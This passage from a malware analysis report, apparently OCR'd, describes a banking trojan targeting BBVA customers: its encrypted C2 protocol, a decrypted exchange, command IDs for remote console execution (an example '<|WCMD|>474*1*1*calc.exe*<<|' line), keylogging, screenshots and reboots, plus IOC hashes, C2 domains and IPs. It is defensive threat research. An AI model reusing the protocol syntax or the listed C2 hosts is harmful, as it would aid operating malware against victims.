of the affected banks. Therefore, the malware will not connect to the C2 as long as the victim does not
access the bank’s website, or does not open another website with the bank’s name in the title. This
happens because the malware tries to detect whether the victim is accessing the bank’s website by
checking whether the title of the window contains the name of the bank.

Once a website is opened that activates the Trojan, it connects to the control server via a TCP
connection using a proprietary encrypted text protocol. The encryption is the same as the one used for
encrypting communication (configuration and data sent) over HTTP.

Once a website is opened that activates
the Trojan, it connects to the control server
via a TCP connection using a proprietary
encrypted text protocol.
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AEUH|FPFRFIFNFCFIFPFAFLHJEW@IFDHRFWFSHRFF@AEUH|FIGUGMGVH|EWFBGLGSGSGLDRFDGLGSGWGOG
PGUGLEUHJEWFHGPHAGWGHHAGLGJEUHJEWFBGLGSGSGLDRFDGLGSGWGOGPGUGLEUHJEWGTHBHFGNGH
HGEUHJEWFDGLHAGHHBGPHDGHGKGVEUH|EWFIGUGPG)GPGVDRFCFAFIFXFAFBFAFNFKGFFEFSGFEJESEME
OESEKERDRFAFMEUHJEWFCFAFIFXFAFBFAFNFKGFFEFSEUHJEWFIGUGPG|GPGVEUH|EWGIGLGSGSGLDRGKGL
GSGWGOGPGUGLDREFDRGIHCHAG]GHGYDRG)GVGUDRGNGVGYGNGSGLDREFDRGNGVGVGNGSGLDRGJGO
GYGVGTGLEUHJEWFCGOGYGVGTGLEUH]EWEJESEMEOESELEIDRFAFMEUEUH]@TFOIDGMHPHDHLHFHUGGHB
HJHOIDFQFKFFFEFIFEFEFGFOFOID@JFEHSFYFRFWFPHSFG@AEUH|FPFOFNFGHIEW@WFRIGGMGFGKGDIGFT
@AEUHJFPFOFNFGHJEW@PFKHYGFFXGDFVHYFM@AEUH]FPFOFNFGHJEW@RFMIBGHGAGFFXIBFO@AEUH|FPF
OFNFGH]EW@KFFHTGAFSFXFQHTFH@AEUH|FPFOFNFGHJEW@EEYHNFTFMFRFKHNFB@AEUHJFPFOFNFGHJE
W@LFGHUGBFTFYFRHUFI@AEUHJFPFOFNFGH|EW@NFIHWGDFVGBFTHWFK@AEUHJFPFOFNFGH|EW@AEUHJF
PFIFNFGHJEW@AEUH|FPFOFNFGH]JEW@HFCHQFWFPFUFNHQFE@AEUH]FPFOFNFGHJEW@IFDHRFXFQFVFOHR
FF@AEUH)FPFOFNFGH]EW@AEUH|FPFIFNFGHJEW@AEUH)JFPFOFNFGH|EW@PFKHYGFFXGDFVHYFM@AEUHJFP
FOFNFGH|EW@EEYHNFTFMFRFKHNFB@AEUH|FPFOFNFGHJEW@LFGHUGBFTFYFRHUFI@AEUH|FPFOFNFGHJE
W@QFLIAGGFYGEFWIAFN@AEUHJFPFOFNFGHJEW@RFMIBGHGAGFFXIBFO@AEUH]FPFOFNFGH)EW@LFGHUG
BFTFYFRHUFI@

Encrypted communication protocol with the control server
(red=infected system, blue=C2)

In the image above we can see the exchange of encrypted messages between the server (blue) and the
trojan (red). If we decrypt the messages, we can see that it is a relatively simple text protocol.

<|PRINCIPAL|>
Received: <|OK|=
Sent: <|Info|>EN_vs50_Winl0_7c9d492b<|>Win 10<|>Intel(R) Core(TM) 1i9-825
BU CPU @ 3.60GHz<|>mtxgay<|>Desativado<|>Inicio BBVA_ES 1:46:29 AM<|>BBVA_E
S<|>Inicio<|>bbva - buscar con google - google chrome<|>Chrome<|>1:46:30 AM
<<|

Received: <|SocketMain|>7408526<<|
Received: <|PING|>

Sent: <|PONG | >

Received: <|PING|>

Sent: <|PONG |>

In the image above we can see some of the decrypted messages exchanged between the server and
the malware. As we can see, it is a text protocol, in which the second message sent by the infected
machine is information about the system, the bank visited by the user and the browser used.
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After sending basic information about the system, C2 returns a numeric identifier with the SocketMain
command. This identifier makes it possible to identify the infected system in a second communication
that is initiated at the same time with the server. In reality, the banker does not maintain one connection
with the server but two connections (to the same port and with the same encrypted protocol), in the
first one the main command communication is maintained, while in the second one other data such as
screenshots, file content, keystroke logging, stolen credentials, etc. are sent.

After performing an analysis of this Trojan, we can determine that it implements a series of main

commands that the server can send, as well as an interesting list of subcommands to perform more
specific tasks. The following image shows some of the main commands it can receive and execute.

f ( (signed int)process command text((int)L"<|Close|=>"

if ( (signed int)proce
(

Part of the code responsible for processing the commands received from the C2
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As for the specific subcommands, which are the most interesting, we find them for the <[ WCMD|>
command. This command allows you to add several parameters, at least two, separated by *. For
example, the following command:

<|WCMD|>474*1*1*calc.exe*<<|

This command with identifier 474 allows executing console commands on the infected system. In
this example, it executes the Windows calculator binary passed as the third parameter. The first two
parameters must always be passed, as they are mandatory in some commands, although their value
does not matter in others (as in this example where they are not used).

id == 474 )

(v18, &vB14, L"<|STA

D *)(v1116 + 1712);

Code handling subcommand 474 to execute a system command
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Subcommand 429, for example, is used to enable
and disable the malware keylogger. Depending on
the value provided for its first parameter. A value
of 1 enables it, while any other value disables it, as
can be seen in the following image.

';/

int64 *)
*)dward_

Code that manages the activation/deactivation
of the Keylogger (subcommand 429)
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There are also subcommands to close the connection or restart it.

if ( command_id == 414 )
[

LODWORD |
sub_36FA330
sub_396B938

sub_36FA250
36F9D(
= ¥ |

0);
i 3) ) 8);
sub_384BAT70 JWORD * 16 + 10600), 0);
*(_DWORD *# .
sub_384BATO(*(_DWORD *)(v 6 + 932), 1);
vig = vil4;
__writefsdword(6, LODWORD(v713));

Command to close the connection to the C2

( command_id == 416 )

ytionList;

_inte4 *
“)dword_39F!

Command to restart the connection to the C2
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Other sub-commands allow rebooting the infected machine and taking screenshots
to send to the operator.

Commands to reboot the system and take screenshots

There are several subcommands that seem to serve to select different phases or stages of the
malware’s actions, mainly to control the phishing injections to be displayed. However, these
subcommands require a thorough study to understand them, as well as examples sent by the
fraudulent server to know what possible parameters it can receive.

These subcommands require a
thorough study to understand them, as
well as examples sent by the fraudulent
server to know what possible
parameters it can receive.

feedzal
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, (signed __
, (signed __int32)L"pt");

30, (signed __int32)l

30, (signed __ int32)L"fr");

2)L"g

Code for one of the commands that appears to receive
specific parameters to display the injections

Throughout the code of the malicious DLL we
can find more commands, although an important
part of them seem to be repeated, such as the
commands to execute console commands on
the system (there are different subcommands to
execute it through different functions: WinExec,
ShellExecuteW).
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IOCs

Hash samples
»  23892054f9494f0ee6f4aa8749ab3eebac13741a0455e189596edfcdf96416b3 (MSI)
»  5b91c8acffe1980653718a493e24bde7211ee825ea2947df54c03e9733d61a70 (VBS Final)

»  00888b68e0e884f8f386cdc5¢c080bdae7c0ce9badd072a67669e71c24c4505¢cd (DLL maliciosa)

Domains, IPs and URLs:

> mageurox01.hopto.org
»» mageurox02.serveirc.com
»  144.217.32.24 (Puerto: 5248)

»  hxxp://191.235.99.13/
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